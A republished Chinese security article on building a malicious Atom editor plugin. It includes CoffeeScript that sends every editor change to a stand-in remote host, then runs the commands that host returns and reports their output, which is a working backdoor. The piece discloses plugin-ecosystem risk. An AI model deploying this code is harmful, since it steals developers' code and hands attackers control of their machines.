开发者社区> 玄学酱> 正文
阿里云
为了无法计算的价值
打开APP
阿里云APP内打开

“钓鱼”插件实战:看我如何让粗心开发者的编辑器自动变身远控

简介: 本文讲的是“钓鱼”插件实战:看我如何让粗心开发者的编辑器自动变身远控,在这篇文章中,我们将探讨如何通过利用编辑器中的插件来攻击开发人员。因此,我们将研究Atom插件的工作原理及安全性。
+关注继续查看
本文讲的是“钓鱼”插件实战:看我如何让粗心开发者的编辑器自动变身远控在这篇文章中,我们将探讨如何通过利用编辑器中的插件来攻击开发人员。因此,我们将研究Atom插件的工作原理及安全性。

背景

在生活中,我们都需要用到编辑器。但是,当选择一个编辑器时,每个人都有自己的看法。有些人喜欢像Atom或者Sublime这样的现代编辑器,而另外一些人更喜欢坚持使用Vim或Emacs。无论你选择什么,你最有可能想以某种方式进行自定义操作。

现代编辑的插件和扩展是强大的。除了外观上的一些自定义之外(字体,配色方案等),它们还允许您提供一系列功能,使您的生活变得更轻松:从自动完成和缩位,代码美化和git集成等插件,您应该能够找到一个适合您需要的插件。如果没有,你可以创建和发布一个。

通常情况,用户下载新的插件以满足他们的需求,插件列表越来越多(因为谁有时间回去删除旧的未使用的插件?),许多编辑支持自动更新,以确保及时Bug及更新功能。

对于这篇文章,我将专注于Atom,这是Github上最闪亮的编辑器。根据他们的网站,这是一个“21世纪的黑客文本编辑器”。Atom的用户群不断增长,以及各种各样的软件包。您甚至可以使用黑技巧在Chromebook上安装Atom,它们绕过了ChromeOS上的基本安全模型。

目标

我的任务是探索恶意Atom插件危害程度。我们不知道我们面临什么障碍,不知道Atom有没有安全防护措施来阻止我们的恶意插件。事实证明,没有防护措施,几个小时内,我不仅发布了我的第一个应用程序,而且更新了它,以包含一点点恶意代码。

计划很简单:

第一步:发布一个简单的软件包(plugin)

第二步:测试更新过程

如果您打算创建一个恶意软件包,您将首先创建一个有用的非恶意软件包,创建一个庞大的用户群,然后推送一个可以注入不好的代码的更新。

第三步:从Atom包中实际测试我们可以实现的内容

我们需要确定我们的恶意软件是否在沙盒中运行以及我们拥有哪些系统库访问权限等。

插件编写

插件的开发比较简单。有很多指南来创建和发布Atom的包,包括在他们的网站上的一个详细的描述。

第一步

1. 生成一个新的包:

cmd + shift + p
Package Generator: Generate Package

这将为您提供一个简单的切换方法的包,我们将在稍后使用:

toggle: ->
console.log 'touch-type-teacher was toggled!'

2.将代码推送到Git repo

git init
git add .
git commit -m "First commit"
git remote add origin <remote_repo_url>
git push -u origin master

3.发布您的Atom包

apm-beta publish minor

第二步

1. 在初始设置完成后,对创建的包进行修改,不然很容易发现:

toggle: ->
console.log 'touch-type-teacher was toggled!'
console.log 'update test'

2.推送到Github:

git commit -a -m 'Add console logging'
git push

3.发布新版本:

apm-beta publish minor

第三步

我们看到Atom的包是建立在node.js上的,初始测试是看我们有哪些模块可以访问。

从请求包开始测试是一个很好的开始,因为它允许数据从受害者的机器中取出并发送到我们这边。

通过快速挖掘发现,很容易添加一个依赖关系到我们的包中:

npm install --save request@2.73.0
apm install

在我们的代码中导入:

request = require'request '

更新我们的代码以将一些数据发布到我们的远程端点:

toggle: ->
   request 'http://my-remote-endpoint.com/run?data=test_data', (error, response, body) =>      
console.log 'Data sent!'

有了这个,一旦toggle函数被调用,那么我们的包就会自动发送信息给我们。现在我们有一种获取信息的方法,我们需要看看我们能够访问哪些信息。

更进一步

先前,执行命令是硬编码的,现在我们修改代码使执行的命令是动态接收的! 之前我们创建的Atom包中,只有toggle函数被调用时才会触发执行命令,现在我们将修改代码,完成一旦一个按键被按下就会触发执行命令的函数。

首先我们需要去hook当前编辑器的onChange事件:

module.exports = TouchTypeTeacher =
touchTypeTeacherView: null
modalPanel: null
subscriptions: null
editor: null
activate: (state) ->
@touchTypeTeacherView = new TouchTypeTeacherView(state.touchTypeTeacherViewState)
@modalPanel = atom.workspace.addModalPanel(item: @touchTypeTeacherView.getElement(), visible: false)
@editor = atom.workspace.getActiveTextEditor()
@subscriptions = new CompositeDisposable
@subscriptions.add atom.commands.add 'atom-workspace', 'touch-type-teacher:toggle': => @toggle()
@subscriptions.add @editor.onDidChange (change) => @myChange()

然后,在Atom包中创建myChange函数,利用该函数将执行一些恶意的操作:

myChange: ->
   request 'http://my-remote-endpoint.com/test?data=' +@editor.getText(), (error, response, body) =>
       {spawn} = require 'child_process'
       test = spawn body
       console.log 'External code to run:n' + body
       test.stdout.on 'data', (data) ->
          console.log 'sending output'
          request 'http://my-remote-endpoint.com/run?data=' + data.toString().trim(), (error, response, body) =>
              console.log 'output sent!'

这段代码片段实现了我们想要完成的功能,编辑器每发生一个变化,我们都会将编辑器中的文本发送到我们的服务器,然后服务器会返回一个新的命令到用户的机器上执行。 编辑组执行命令并将执行结果发送到我们的服务器。

演示

下面是它的一个演示。在左侧,您将看到用户在编辑器中输入内容,右边您将看到我们的远程服务器上的日志。

总结

我们创建了一个插件,并发布了它,但这个插件并不具有任何的危害。此插件是在没有沙盒,没有任何权限限制的环境中运行的,而且也没有任何的防护去阻止我们窃取用户机器上的数据信息。即使安全研究人员会对上传的软件代码进行了某种分析,但攻击者也可以在软件运行时远程执行恶意代码。自动更新意味着即使我们的插件今天很好,但或许这款插件明天可能就会被植入了后门程序。

因此,迫使开发人员仅使用受控的工具/插件集合似乎很恶劣,但如果不受控制,安全性越来越难保证。




原文发布时间为:2017年9月5日
本文作者:愣娃
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
浅谈浏览器架构、单线程js、事件循环、消息队列、宏任务和微任务
关键词:多进程、单线程、事件循环、消息队列、宏任务、微任务
23 0
dba+ 开源工具:面向开发的 MongoDB 图形可视化监控
一款面向研发人员查看的 MongoDB 图形可视化监控工具,借鉴了 Percona PMM Grafana 以及官方自带的 mongostat 工具输出的监控指标项,去掉了一些不必要、看不懂的监控项。目前采集了数据库连接数、QPS/TPS、内存使用率统计,副本集 replset 状态信息和同步复制延迟时长。
1158 0
如何在函数计算中使用 Node.js 处理 multipart 文件上传请求
## 前言 web 开发中我们经常会允许用户通过 HTTP POST 请求上传文档到服务器,如何使用函数计算来做文件上传服务呢?下面我们使用 nodejs 来实现一个文件上传的案例: 我们知道浏览器中上传文档通常会使用 `multipart` `form-data` 来多文件同时上传文件。 例如,我们可以使用curl来做这个测试模拟上传两个文件: `test.txt` 和 `inde
1850 0
如何在函数计算中使用 Node.js 处理 multipart 文件上传请求
web 开发中我们经常会允许用户通过 HTTP POST 请求上传文档到服务器,本文将介绍在函数计算中基于 node.js 使用 multipart form-data 来实现文件上传服务。
2829 0
Alibaba Arthas 3.1.0版本:在线教程、内存编绎器和强大的自动补全
![Arthas](https://alibaba.github.io/arthas/_images/arthas.png) `Arthas`是Alibaba开源的Java诊断工具,深受开发者喜爱。 从Arthas上个版本发布,已经过去两个多月了,Arthas 3.1.0版本不仅带来大家投票出来的新LOGO,还带来强大的新功能和更好的易用性,下面一一介绍。 * Github:
2518 0
dwz4j企业级Java Web快速开发框架(Mybatis + SpringMVC) + jUI整合应用
版权声明:欢迎转载,请注明沉默王二原创。 https://blog.csdn.net/qing_gee/article/details/78511726 1.获取dwz_springmvc 进入DWZ的CSDN代码库下载地址 https://code.csdn.net/dwzteam/dwz_springmvc/tree/master,点击【下载】按钮将dwz_springmvc源码库下载到本地。
1179 0
指令汇B新闻客户端开发(四) 自动轮播条
    在这个新闻客户端,我们可以看到有一个轮播页面,在这个项目中,用Handler和一个定时器来做更容易一些, 我们定义一个Handler: private Handler mHandler; 定时器的代码如下: // 自动轮播条显示 if (mHandler == null) { mHandler = new Handler() { pub
896 0
我下载了一个DNN模块的源码,如何加入我的DNN开发环境并编辑它?
下载源代码包 首先你需要得到模块的源代码包,对于DNN官方的模块,都会提供一个源代码包。对于非官方的模块,如果是开源的,也会提供一个源代码包。 比如Announcement模块:   对于代码包的区别,请参考这个: DNN Install包,DNN Source包和DNN StarterKit包之间有什么区别? 安装源码包: 安装源代码包和安装其它模块没有区别,正常安装就可以了,但要注意的一点是:官方的源代码包都会自动安装所有需要的源文件,但如果是第三方的源代码包,有时不能完全安装所有文件,这时你把源代码包解压缩后直接覆盖DesktopModules下的目录即可。
556 0
P3P 和 跨域 (cross-domain) cookie 访问(读取和设置)
在IE 里面跨域去设置 cookie跨域的实现,尝试了n中方法都不行,查了一下资料,可以通过设置header中的p3p值来实现,真不错:) 比如要访问b站在a站设置一个cookies,则可以这样做: 1.在b.com下建立一个文件cookies.htm   内容为: 1 2.a.com下的setcookies.asp的内容为:  这样通过访问b.com下的cookies.htm文件就可以在域a.com下设置和修改相应的cookies了,从而实现了跨域设置存取cookie的目的。
644 0
+关注
玄学酱
这个时候,玄酱是不是应该说点什么...
20683
文章
438
问答
文章排行榜
最热
最新
相关电子书
更多
低代码开发师(初级)实战教程
立即下载
阿里巴巴DevOps 最佳实践手册
立即下载
冬季实战营第三期:MySQL数据库进阶实战
立即下载